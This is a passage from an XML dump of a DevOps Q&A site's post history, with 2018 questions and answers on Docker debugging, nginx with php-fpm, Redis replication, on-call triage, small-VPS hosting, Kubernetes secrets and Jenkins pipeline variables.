means having an automated test that performs actions that you expect to result in sending an email, and then checking to see that an email gets sent." ContentLicense="CC BY-SA 4.0" />
  <row Id="17546" PostHistoryTypeId="2" PostId="5515" RevisionGUID="658cc6db-8e07-4e62-8e9f-15f69c0b44b0" CreationDate="2018-11-21T22:55:36.380" UserId="960" Text="The general process of debugging inside the container is the same as debugging outside of one.  The only thing that you generally need to know is that you can use `docker exec` to attach a bash shell inside a running container, or override the command with `--entrypoint` to launch bash instead, and then run the script manually.&#xD;&#xA;&#xD;&#xA;At that point, your question becomes &quot;How do I debug slow execution times in a PHP script?&quot;.  That is not really in scope for this site, but you can start with a few basic things: add print statements or attach a profiler to see where things are getting slow, and then narrow it down from there." ContentLicense="CC BY-SA 4.0" />
  <row Id="17547" PostHistoryTypeId="2" PostId="5516" RevisionGUID="1e3166fe-2ba0-4d05-b88b-9326ca6b238f" CreationDate="2018-11-21T23:18:52.493" UserId="960" Text="&gt; Problem is in resources - I see that each app container has own nginx instance, and server (VPS) must have global nginx, working as reverse proxy for containers.&#xD;&#xA;&#xD;&#xA;Generally speaking yes, this is how this sort of thing goes.  It's more of an issue for PHP than other languages because PHP doesn't really have a standalone application server, but instead is commonly deployed using php-fpm with nginx.  Since php-fpm supports communication via TCP sockets, theoretically you could run only fpm in the containers and have nginx on the host talk to fpm across the Docker networking layer, but I haven't researched this option enough to be convinced it would work.&#xD;&#xA;&#xD;&#xA;Docker makes the most sense when used within the context of an orchestration layer like Kubernetes.  Rather than running several Docker containers manually or semi-manually on a particular host, you would schedule them with kubernetes and it would distribute them across its cluster of nodes - the specific machine that runs the container becomes irrelevant.  The kubernetes [service](https://kubernetes.io/docs/concepts/services-networking/service/) then provides you with an IP via kube-proxy that load-balances across the pods of that service." ContentLicense="CC BY-SA 4.0" />
  <row Id="17548" PostHistoryTypeId="2" PostId="5517" RevisionGUID="75b628f2-2c09-4c2b-98b2-9d4aa88a23de" CreationDate="2018-11-21T23:28:01.797" UserId="960" Text="&gt; I was doing some reading and Redis itself has replication, but I am not sure if this is the best way to go about doing it.&#xD;&#xA;&#xD;&#xA;Yes, using redis' [built-in replication](https://redis.io/topics/replication) is going to be vastly safer and more real-time than a home-grown solution.  Use it.&#xD;&#xA;&#xD;&#xA;You may also be interested in [sentinel](https://redis.io/topics/sentinel) for switching automatically over to the replica during an outage." ContentLicense="CC BY-SA 4.0" />
  <row Id="17549" PostHistoryTypeId="2" PostId="5518" RevisionGUID="80d07df9-4bf6-4442-9d20-e1b8e9fab83b" CreationDate="2018-11-21T23:36:14.443" UserId="960" Text="Route53 [has an API for creating DNS records](https://docs.aws.amazon.com/Route53/latest/APIReference/API_ChangeResourceRecordSets.html).  The API is a bit obtuse, but there are a plethora of wrappers for various languages." ContentLicense="CC BY-SA 4.0" />
  <row Id="17550" PostHistoryTypeId="2" PostId="5519" RevisionGUID="8ee7f9ef-edb1-409a-ad4f-c4ea2f7efa59" CreationDate="2018-11-21T23:49:16.210" UserId="4175" Text="## Background&#xD;&#xA;&#xD;&#xA;One of the org units in my company is doing application support for a relatively large client; that is, they're keeping some of their business applications running 24x7, doing anything from the root account upwards (no hardware/network). Things like keeping volumes, RAM, CPU sufficient, routing bug tickets where they need to go, backup&amp;recovery, all that stuff. All the applications (many) are in a quite stable state, little development is going on.&#xD;&#xA;&#xD;&#xA;It's 100% classical, i.e., 100% Ops. The occasional contacts with development are laden with the usual problems (mistrust, prejudice, etc.).&#xD;&#xA;&#xD;&#xA;The customer decided that it wants to be modern, and is in the process of introducing &quot;DevOps&quot; - without having a clear understanding of what that actually means. They just know that they don't want to have one large entity running a large cluster of servers, not really knowing the software indepth, but that individual teams should build and support their own applications. Note that there is no container technology or anything like that - they are getting into OpenShift, but softly-slowly. Everything is quite classical... trouble ticket systems, multi-tier support levels, a great many tickets solved regularly, but all of them very easy in itself (like volumes running full etc.), very occasional difficult problems that need developer input.&#xD;&#xA;&#xD;&#xA;So I'm on a taskforce of ours that's supposed to come up with ideas. I have quite some experience consulting Dev teams to be more &quot;DevOps&quot;y - i.e., more automation, more tooling, keeping dev/test/prod environments identical, that kind of thing. From *their* point of view, it's pretty clear how to proceed. But in my current example, it's not quite clear to me what to suggest.  They do have problems, but more in the &quot;Ops&quot; side (like finding enough good staff to man the 24x7 shifts and so on). There does not really seem to be a &quot;Dev-Ops&quot; problem to be solved.&#xD;&#xA;&#xD;&#xA;## Question&#xD;&#xA;&#xD;&#xA;In an Ops-heavy department with only a small amount of development going on, what are some DevOps practises, culture changes, process changes etc. that are very likely &#xD;&#xA;&#xD;&#xA;* beneficial, no matter what they are doing so far&#xD;&#xA;* relatively easy to introduce&#xD;&#xA;* not that likely to induce fear and instinctive resistance (which there seems to be quite a case going on here, after the first talks)&#xD;&#xA;&#xD;&#xA;For example, in a Dev team, I'd show them what to do with containers, or 12-factor, or ... and what concrete problem it solves, and this usually shows them that there's not much to fear, and that there are real benefits to be reaped. From there on, it goes as far as they want to take it.&#xD;&#xA;&#xD;&#xA;The only objective problem I saw so far was that they really have little to no insight in the software, i.e., they mostly cannot even read the source (due to lack of knowledge) which would, in some cases, help in solving/routing bug reports etc.&#xD;&#xA;&#xD;&#xA;The main subjective problem seems to be that they think *real* bad about developers. (According to them, those are lazy, picky, don't want to do 24x7, solve every ops problem simply by &quot;re-rolling containers&quot; etc.)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17551" PostHistoryTypeId="1" PostId="5519" RevisionGUID="8ee7f9ef-edb1-409a-ad4f-c4ea2f7efa59" CreationDate="2018-11-21T23:49:16.210" UserId="4175" Text="Consulting DevOps from the Ops side" ContentLicense="CC BY-SA 4.0" />
  <row Id="17552" PostHistoryTypeId="3" PostId="5519" RevisionGUID="8ee7f9ef-edb1-409a-ad4f-c4ea2f7efa59" CreationDate="2018-11-21T23:49:16.210" UserId="4175" Text="&lt;culture&gt;&lt;process&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17553" PostHistoryTypeId="2" PostId="5520" RevisionGUID="234a2695-1c47-49e9-b09e-3d74dc3ffb04" CreationDate="2018-11-21T23:51:38.363" UserId="960" Text="There are a number of things that I think it's important to know before going on-call:&#xD;&#xA;&#xD;&#xA; 1. **How to triage an issue.**  There should be a defined list of priorities with examples so that you can identify how serious a problem is.&#xD;&#xA; 2. **What the priority levels mean.**  Can you ack this and then go back to sleep?&#xD;&#xA; 3. **Who to contact post-triage.** The on-caller's primary responsibility is *triage*, not fixing.  Fixing the problem is good, too, but once you've triaged the issue, then it's up to you to rope in other folks from other teams and manage communications between them.&#xD;&#xA;&#xD;&#xA;People jumping straight into fixing problems before triaging is the most common mistake I've seen (because, after all, we're used to fixing things and think of that as our job).  But communications are often vital, and doing things in the wrong order can mean customers are left in the dark because you got caught up in trying to fix a problem before letting your support people know there *is* a problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="17554" PostHistoryTypeId="4" PostId="5230" RevisionGUID="c119a3c0-d431-415c-a63d-afd613df704f" CreationDate="2018-11-21T23:54:01.200" UserId="739" Comment="better title" Text="What do you tell someone new to going oncall or PagerDutyl?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17555" PostHistoryTypeId="2" PostId="5521" RevisionGUID="da44d771-3ff4-4a2d-a2c4-1eab28723422" CreationDate="2018-11-22T00:04:21.227" UserId="960" Text="The key to presenting solutions is always to identify problems first; if the team doesn't feel like you're solving any problems, then they're going to dismiss what you're suggesting.  The specific problems your Ops team is facing we don't know, but there are a number of common ones:&#xD;&#xA;&#xD;&#xA;* Getting non-actionable alerts&#xD;&#xA;* Spending lots of time in [toil](https://landing.google.com/sre/sre-book/chapters/eliminating-toil/)&#xD;&#xA;* Version upgrades are a pain&#xD;&#xA;* Deployments are a pain&#xD;&#xA;* No visibility into what the apps are doing&#xD;&#xA;&#xD;&#xA;and so on.  Once you know what problems they're having, then you can target solutions that fix those.&#xD;&#xA;&#xD;&#xA;&gt; The main subjective problem seems to be that they think real bad about developers.&#xD;&#xA;&#xD;&#xA;Cultural changes are incredibly difficult to make (usually the easiest way to is hire people with the philosophies you want and gradually prune off the old people).  But embedding operations engineers with developers can help this one immensely.  I've worked in several small companies where there was just one engineering team (and I happened to work primarily on ops work), and so this idea comes very naturally to me, but for people who have been working solely on an operations team with little contact with developers for a long time, it can be a difficult adjustment.  But move your desk to be with them, participate in their chat channels, eat lunch with them - this all helps both ops and devs realize that the other side are actually humans.  This also provides better opportunities for ops to use their expertise to solve problems for devs that otherwise wouldn't've surfaced (say, they're trying to do something and you provide a quick shell script that solves it much faster than the manual way they were going with), and that builds trust and emotional budget that you can spend when you need something from them." ContentLicense="CC BY-SA 4.0" />
  <row Id="17556" PostHistoryTypeId="50" PostId="4586" RevisionGUID="672d2a99-3320-4014-b8ae-2b017c0d7b27" CreationDate="2018-11-22T02:01:35.277" UserId="-1" />
  <row Id="17557" PostHistoryTypeId="2" PostId="5522" RevisionGUID="9e2097aa-5d12-4062-a44a-0b28e7469619" CreationDate="2018-11-22T04:18:36.767" UserDisplayName="user5176" Text="I'm new to devops and quite troubled financially but I desire to put websites that I now host on a shared server environment (CetnOS 12.x.x) on some cloud like DigitalOcean or Lindoe (but without using their droplets with ready OSs - I want to install the OS myself with Vagrant).&#xD;&#xA;&#xD;&#xA;To have full automation of every upgrade possible (even OS itself say Ubuntu 18.04 to 20.04 or Apache 2.4 to Apache 3.4, PHP 7.4 to PHP 8.4 and so forth) I desire to use the VAD stack: Vagrant-Ansible-Docker.&#xD;&#xA;&#xD;&#xA;DigitalOcean's cheapest plan for example is this 5$ plan:&#xD;&#xA;&#xD;&#xA;    25 GB SSD&#xD;&#xA;    1 virtual CPU&#xD;&#xA;    1 GB RAM&#xD;&#xA;    1 TB monthly data-transfer&#xD;&#xA;&#xD;&#xA;I use the Drupal CMS (&gt;=8) for generally all my websites (which are generally small-scale perceptional websites for small business of free-professions).&#xD;&#xA;&#xD;&#xA;Each VPSE will contain up to 2 separate (non multi-stie) Drupal apps and each such app will usually take no more than 256 MB RAM, if I'm not exaggerating).&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Can I base these such a X2 drupals installment on such 5$ VPSE with a VAD stack in decent performance? Or there's no way I could handle both VAD and X2 such Drupals on one such small VPSE?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17558" PostHistoryTypeId="1" PostId="5522" RevisionGUID="9e2097aa-5d12-4062-a44a-0b28e7469619" CreationDate="2018-11-22T04:18:36.767" UserDisplayName="user5176" Text="Can a 5 US $ VPSE support VAD stack with 2 relatively-small CMSs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17559" PostHistoryTypeId="3" PostId="5522" RevisionGUID="9e2097aa-5d12-4062-a44a-0b28e7469619" CreationDate="2018-11-22T04:18:36.767" UserDisplayName="user5176" Text="&lt;docker&gt;&lt;ansible&gt;&lt;continuous-integration&gt;&lt;vagrant&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17560" PostHistoryTypeId="2" PostId="5523" RevisionGUID="8a2b376e-b155-4884-908e-c98b6526fa0e" CreationDate="2018-11-22T06:36:16.977" UserId="8251" Text="In this scenario, the cpu cycles required to read from the database and render to PHP will all be handled by a single core, ie they will be handled one after the other. This will be about the slowest way to deliver website traffic out of your server. You are also able to handle around only 3 requests in parallel before your server runs out of memory. You better have no swap configured, as there is no cpu to handle the copying. 3 requests can be used up quickly by some Ajax requests in the page or your Admin backend, either one likely bringing the server to its knees. &#xA;&#xA;Your situation will improve somewhat if you can dial down your PHP memory limit to say 64mb, but you still have the single core as the bottleneck. &#xA;&#xA;If you can remove all interactivity from the site you may be better off to put a Cdn in front if your site and only start up a server on aws when you need the backend. This could be cheaper than $5&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17561" PostHistoryTypeId="5" PostId="5523" RevisionGUID="0b5554cd-27c0-4658-8a43-a9a242c6f18b" CreationDate="2018-11-22T07:11:47.420" UserId="8251" Comment="added 943 characters in body" Text="In this scenario, the cpu cycles required to read from the database and render to PHP will all be handled by a single core, ie they will be handled one after the other. This will be about the slowest way to deliver website traffic out of your server. &#xA;&#xA;Each time a request is made, a certain amount of memory is occupied by PHP. You can test the actual amount, but you can only ever be sure it is not greater than [memory_limit][1]. Based on a use of no more than 256MB per Drupal site request, you can divide your 1GB of memory by that number (minus some memory for apache, MySQL and the OS). The result are 3 requests fit into memory only. You certainly do not want to allow more, because either your system runs out of Ram or it will use swap disk space.&#xA;&#xA;The use of swap disk space is even worse, as it will slow down requests even more and consumes cpu itself. &#xA;&#xA;3 requests can be used up quickly by some Ajax requests in the page or your Admin backend, either one likely bringing the server to its knees. It would be best to check in Chrome inspector how many PHP requests the site makes on frontend and backend. &#xA;&#xA;Your situation will improve somewhat if you can dial down your PHP memory limit to say 64mb, but you still have the single core as the bottleneck. &#xA;&#xA;So the key to keep this stable is to reduce the number of requests allowed either in apache or php-fpm to a number multiplied by PHP memory limit that stays smaller than your 1gb memory. &#xA;&#xA;Your best option would be to copy out your Drupal pages to a static website every time a change is made. A transparent way for this is to put a cdn in front of your website. However you need to be sure. &#xA;&#xA;Another non technical practical solution is to quadruple your hosting budget and find a sponsor or side gig to pay the charges. &#xA;&#xA;&#xA;&#xA;&#xA;  [1]: https://secure.php.net/manual/en/ini.core.php#ini.memory-limit" ContentLicense="CC BY-SA 4.0" />
  <row Id="17562" PostHistoryTypeId="5" PostId="5323" RevisionGUID="5bafec62-31aa-4cf9-bf1a-1d2b0af72088" CreationDate="2018-11-22T07:52:13.427" UserId="40" Comment="added 3 characters in body" Text="Few questions here:&#xD;&#xA;&#xD;&#xA;1. What does the concept of object Pod satisfy? A paused container containing the namespace for the actual app area (s) will be added later and use that namespace. So what activities in real life qualify to have more than one container running in a pod? Can you give examples of points? What is considered sidecar operation after all?&#xD;&#xA;&#xD;&#xA;2. What is the threshold, for example: N container in the Pod that the master will be able to say that Pod is not healthy? So basically, how many containers in a pod need to down to the POD mark down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17563" PostHistoryTypeId="2" PostId="5524" RevisionGUID="c0021e8a-ba50-4e63-a3ce-a8168a93fa96" CreationDate="2018-11-22T08:14:09.247" UserId="11001" Text="I have created created a kubernetes cluster with 1 master and 2 nodes  in our data centre and deployed a postgres database in it.  I would like to access database with with Pgadmin" ContentLicense="CC BY-SA 4.0" />
  <row Id="17564" PostHistoryTypeId="1" PostId="5524" RevisionGUID="c0021e8a-ba50-4e63-a3ce-a8168a93fa96" CreationDate="2018-11-22T08:14:09.247" UserId="11001" Text="Access database deployed in kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="17565" PostHistoryTypeId="3" PostId="5524" RevisionGUID="c0021e8a-ba50-4e63-a3ce-a8168a93fa96" CreationDate="2018-11-22T08:14:09.247" UserId="11001" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17566" PostHistoryTypeId="2" PostId="5525" RevisionGUID="0d81e63a-0c5a-4ab6-81c8-b97dbbf10b98" CreationDate="2018-11-22T09:02:46.227" UserId="10997" Text="I removed the service account and recreated it (with same name and roles). Generated a new key and updated the CI and suddenly it worked. gcloud glitch." ContentLicense="CC BY-SA 4.0" />
  <row Id="17567" PostHistoryTypeId="50" PostId="5237" RevisionGUID="4108d3e2-2b11-4e31-9b91-c80d8eb9c468" CreationDate="2018-11-22T11:02:25.420" UserId="-1" />
  <row Id="17573" PostHistoryTypeId="50" PostId="4830" RevisionGUID="38b2d627-306c-4f0a-8e36-f4779d7d72e5" CreationDate="2018-11-22T19:02:50.533" UserId="-1" />
  <row Id="17574" PostHistoryTypeId="50" PostId="3730" RevisionGUID="2e28fe56-1973-4d35-8f84-485837d753b3" CreationDate="2018-11-22T21:01:20.213" UserId="-1" />
  <row Id="17575" PostHistoryTypeId="50" PostId="5173" RevisionGUID="1d753dac-24e4-407f-9d96-39301b797120" CreationDate="2018-11-22T23:02:50.593" UserId="-1" />
  <row Id="17576" PostHistoryTypeId="50" PostId="5203" RevisionGUID="11bdc333-9cce-4ffa-bf3f-9383cd33a7f2" CreationDate="2018-11-23T00:03:25.720" UserId="-1" />
  <row Id="17578" PostHistoryTypeId="50" PostId="5042" RevisionGUID="6e45724f-21c2-4dbe-b76e-6118d1591e34" CreationDate="2018-11-23T05:02:40.557" UserId="-1" />
  <row Id="17579" PostHistoryTypeId="5" PostId="5329" RevisionGUID="1cc26ea4-b269-4030-aea8-bf47b2d6e647" CreationDate="2018-11-23T07:52:41.687" UserId="739" Comment="link to some context; add culture tag and correct spelling" Text="I have recently been reading [&quot;The Phoenix Project&quot;](https://www.adaptavist.com/blog/what-the-phoenix-project-can-teach-you-about-devops-and-it/). &#xD;&#xA;While I can relate to most aspects of the story, I am struggling to understand the frequent references to the military background of many characters (e.g. Bill himself, Stefe, Erik, ...).&#xD;&#xA;&#xD;&#xA;Since I am not familiar with US culture and army in particular, I am pondering 2 questions:&#xD;&#xA;&#xD;&#xA;**Question 1:**&#xD;&#xA;Are these reference to the army background an essential part of the message of the book or just story-telling (e.g. trying to give some depth to the characters by telling their history)?&#xD;&#xA;&#xD;&#xA;**Question 2:**&#xD;&#xA;If an essential part, how does the way the US army organises its operations relate with a DevOps culture? Should it be *embraced* or *avoided* in the workplace?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17580" PostHistoryTypeId="6" PostId="5329" RevisionGUID="1cc26ea4-b269-4030-aea8-bf47b2d6e647" CreationDate="2018-11-23T07:52:41.687" UserId="739" Comment="link to some context; add culture tag and correct spelling" Text="&lt;culture&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17581" PostHistoryTypeId="24" PostId="5329" RevisionGUID="1cc26ea4-b269-4030-aea8-bf47b2d6e647" CreationDate="2018-11-23T07:52:41.687" Comment="Proposed by 739 approved by 40, 9729 edit id of 858" ContentLicense="CC BY-SA 4.0" />
  <row Id="17585" PostHistoryTypeId="50" PostId="3089" RevisionGUID="c6830fd6-baf1-41c9-b4c1-dfe938dbb579" CreationDate="2018-11-23T13:01:05.210" UserId="-1" />
  <row Id="17586" PostHistoryTypeId="50" PostId="5241" RevisionGUID="398b331d-506d-4e82-9099-00fe3ddaf10e" CreationDate="2018-11-23T14:00:55.610" UserId="-1" />
  <row Id="17587" PostHistoryTypeId="2" PostId="5529" RevisionGUID="7956e2f1-6d91-4808-973d-0b667f9c143e" CreationDate="2018-11-23T15:44:14.323" UserId="707" Text="For example in the [requests][1] library you can set proxy [explicitely][2].&#xD;&#xA;&#xD;&#xA;With [exoscale/cs][3] (a Python client for Apache Cloud Stack) it does not work for me.&#xD;&#xA;&#xD;&#xA;Environment variables are set correctly to locally meaningful values accepted locally in other contexts:&#xD;&#xA;&#xD;&#xA;    'http_proxy': 'xxxx'&#xD;&#xA;&#xD;&#xA;Error: &#xD;&#xA;&#xD;&#xA;    requests.exceptions.ProxyError: HTTPSConnectionPool(host='xxxx', port=443): &#xD;&#xA;    Max retries exceeded with url: /portal/client&#xD;&#xA;&#xD;&#xA;But wait, seems like `cs` incorporates `requests`!&#xD;&#xA;&#xD;&#xA;How to tell it to use proxy?&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.python-requests.org/en/master/&#xD;&#xA;  [2]: http://docs.python-requests.org/en/latest/api/#module-requests&#xD;&#xA;  [3]: https://github.com/exoscale/cs/blob/master/cs/client.py" ContentLicense="CC BY-SA 4.0" />
  <row Id="17588" PostHistoryTypeId="1" PostId="5529" RevisionGUID="7956e2f1-6d91-4808-973d-0b667f9c143e" CreationDate="2018-11-23T15:44:14.323" UserId="707" Text="How to confugure proxy for Python Apache Cloud Stack client?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17589" PostHistoryTypeId="3" PostId="5529" RevisionGUID="7956e2f1-6d91-4808-973d-0b667f9c143e" CreationDate="2018-11-23T15:44:14.323" UserId="707" Text="&lt;python&gt;&lt;cloud&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17590" PostHistoryTypeId="2" PostId="5530" RevisionGUID="56e2248a-39a4-4f28-8018-2b53b598a097" CreationDate="2018-11-23T18:09:03.063" UserId="11029" Text="You can use regex and after change you need restart webserver&#xD;&#xA;&#xD;&#xA;sed -i 's/upload_max_filesize\s*=.*/upload_max_filesize=100M/g' path/to/php.ini&#xD;&#xA;&#xD;&#xA;sed -i 's/post_max_size\s*=.*/post_max_size=100M/g' path/to/php.ini&#xD;&#xA;&#xD;&#xA;sed -i 's/memory_limit\s*=.*/memory_limit=512M/g' path/to/php.ini&#xD;&#xA;&#xD;&#xA;But it is preferable to use **Configuration Management Tools**" ContentLicense="CC BY-SA 4.0" />
  <row Id="17591" PostHistoryTypeId="50" PostId="1931" RevisionGUID="3ca62bb3-9bc8-4244-bff9-b00ef3920600" CreationDate="2018-11-23T20:01:20.227" UserId="-1" />
  <row Id="17592" PostHistoryTypeId="2" PostId="5531" RevisionGUID="508f8fd8-dc8f-437e-bf85-88769b70682e" CreationDate="2018-11-23T20:55:37.710" UserId="10008" Text="As @Harith mentioned, the use of secrets simplifies deployments in various environments using environmental variables. To load in a secret directly use:&#xD;&#xA;&#xD;&#xA;&gt; $ kubectl create secret generic &lt; NAME OF SECRET &gt; --from-literal=&lt; KEY &gt;=abc123!:?  &#xD;&#xA;&#xD;&#xA;NOTE! This will put the secret in the Default namespace, add a namespace flag for specific resources e.g.:&#xD;&#xA;&#xD;&#xA;&gt; $ kubectl create secret generic mongodbsecret --from-literal=mongoUser=abc123!:? -n mongoNamespace&#xD;&#xA;&#xD;&#xA;You can then reference this secret in the deployment.yml or pod.yml or wherever you put your image for deployment on the kubernetes cluster.&#xD;&#xA;&#xD;&#xA;    env:&#xD;&#xA;    - name: MONGO_INITDB_ROOT_USERNAME &lt;name of the env var in the code&gt;&#xD;&#xA;       valueFrom:&#xD;&#xA;         secretKeyRef:&#xD;&#xA;           name: mongodbSecret &lt;NAME OF SECRET&gt; &#xD;&#xA;           key: mongoUser &lt;KEY&gt;&#xD;&#xA;&#xD;&#xA;However, if all you need is to change 'development' to 'production' you could put an environment var directly in the (deployment).yaml.&#xD;&#xA;&#xD;&#xA;    env:&#xD;&#xA;    - name: NODE_ENV&#xD;&#xA;      value: production&#xD;&#xA;&#xD;&#xA;You can also update the Jenkinsfile to send in the environment by for instance:&#xD;&#xA;&#xD;&#xA;    def resource_env = BRANCH_NAME == 'master' ? 'production' : 'development'&#xD;&#xA;    &#xD;&#xA;    sh &quot;kubectl set env ${kubeImageName} NODE_ENV=${resource_env} --namespace ${kubeNamespace}&quot;&#xD;&#xA;&#xD;&#xA;On your current pipeline idea: The safest place for sensitive env vars would be putting it in kubernetes in a secret in your situation. However, for simple selection of deployment environments then using a Jenkinsfile simplifies things a bit like 'prod' vs 'dev'. Putting sensitive, variable or private things on git is a bad idea. Keep your docker images precise and task-orientated. &#xD;&#xA;&#xD;&#xA;Hope that helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="17593" PostHistoryTypeId="5" PostId="5245" RevisionGUID="1aa848ca-b724-4bd4-becb-4107f4fdeaec" CreationDate="2018-11-23T22:33:41.513" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://stackoverflow.com/legal/trademark-guidance&gt; (the last section))." Text="For a declarative pipeline:&#xD;&#xA;&#xD;&#xA;This question already has a [highly-upvoted answer on Stack&amp;nbsp;Overflow][1]:&#xD;&#xA;&#xD;&#xA;&gt; If you want to use a file (since a script is the thing generating the value you need):&#xD;&#xA;&gt;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent { label 'docker' }&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage('one') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             sh 'echo hotness &gt; myfile.txt'&#xD;&#xA;&gt;             script {&#xD;&#xA;&gt;               // trim removes leading and trailing whitespace from the string&#xD;&#xA;&gt;               myVar = readFile('myfile.txt').trim()&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // Prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         stage('two') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // Prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         // This stage is skipped due to the when expression, so nothing is printed&#xD;&#xA;&gt;         stage('three') {&#xD;&#xA;&gt;           when {&#xD;&#xA;&gt;             expression { myVar != 'hotness' }&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;three: ${myVar}&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;A second solution would be to write out output from your script directly or with [`writeFile`][2] and then later read it back in with [`readFile`][3]. However, this comes with the significant caveat that both the reading and writing must take place on the same node, so you can't use this to send data across nodes.&#xD;&#xA;&#xD;&#xA;You can also can archive files centrally with [`archiveArtifact`][4] and retrieve them with [`copyArtifact`][5] (and then read in the file with `readFile`).&#xD;&#xA;&#xD;&#xA;Finally, there are some answers to a [near-identical question on Stack&amp;nbsp;Overflow][6] that offer alternative solutions.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;However, if you can, I would suggest using *Scripted Pipeline* instead, which allows a much simpler solution:&#xD;&#xA;&#xD;&#xA;    def String myVar&#xD;&#xA;&#xD;&#xA;    stage('my-first-stage') {&#xD;&#xA;      myVar = sh(script: 'my-command', returnStdout: true)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stage('my-second-stage') {&#xD;&#xA;      sh(&quot;my-other-command --var='${myVar}'&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;(I also already answered this question for Scripted Pipeline over [on Server&amp;nbsp;Fault][7].)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It looks like some of these solutions have already been proposed in the comments, but you are concerned that they are not elegant enough. I'm not really sure what kind of elegance you're looking for, because I can't think of a way to simplify these answers in Jenkins pipeline land.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/44099851/how-do-i-pass-variables-between-stages-in-a-declarative-jenkins-pipeline/44101004#44101004&#xD;&#xA;  [2]: https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#writefile-write-file-to-workspace&#xD;&#xA;  [3]: https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#readfile-read-file-from-workspace&#xD;&#xA;  [4]: https://jenkins.io/doc/pipeline/steps/core/#archiveartifacts-archive-the-artifacts&#xD;&#xA;  [5]: https://jenkins.io/doc/pipeline/steps/copyartifact/#copyartifacts-copy-artifacts-from-another-project&#xD;&#xA;  [6]: https://stackoverflow.com/questions/47462500/pass-variables-between-jenkins-stages&#xD;&#xA;  [7]: https://serverfault.com/questions/884764/jenkins-pipeline-file-passing-jenkinsfile-variables-into-further-commands/884798#884798&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17594" PostHistoryTypeId="24" PostId="5245" RevisionGUID="1aa848ca-b724-4bd4-becb-4107f4fdeaec" CreationDate="2018-11-23T22:33:41.513" Comment="Proposed by 7917 approved by 13 edit id of 863" ContentLicense="CC BY-SA 4.0" />
  <row Id="17595" PostHistoryTypeId="5" PostId="5241" RevisionGUID="3a825761-c4f2-4e23-af9e-3f1350c6fdac" CreationDate="2018-11-23T22:33:49.657" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/DevOps&gt;, &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt;, &lt;https://en.wikipedia.org/wiki/Jenkins_%28software%29&gt;, &lt;https://en.wikipedia.org/wiki/Kubernetes&gt;, and &lt;https://en.wikipedia.org/wiki/Ansible_(software)&gt;)." Text="Because I am new in the DevOps, I don't know where I need to apply the changes to correctly run the project.&#xD;&#xA;&#xD;&#xA;The structure:&#xD;&#xA;&#xD;&#xA;Git → Jenkins → Docker build -&gt; Kubernetes (deploy)&#xD;&#xA;&#xD;&#xA;Is it better to make the change of variables in the project, (example: password, database connection, etc.) to Jenkins, Kubernetes, or Docker?&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;With docker-compose I use an environment variable to change the variable inside my code.&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      MONGO_INITDB_ROOT_USERNAME: user&#xD;&#xA;      MONGO_INITDB_ROOT_PASSWORD: user&#xD;&#xA;&#xD;&#xA;I want to change this variable and run correctly in the production environment.&#xD;&#xA;&#xD;&#xA;I don't know where it is the best to change the variable, Jenkins, Kubernetes with [Ansible][1], etc.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Ansible_(software)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17596" PostHistoryTypeId="24" PostId="5241" RevisionGUID="3a825761-c4f2-4e23-af9e-3f1350c6fdac" CreationDate="2018-11-23T22:33:49.657" Comment="Proposed by 7917 approved by 13 edit id of 860" ContentLicense="CC BY-SA 4.0" />
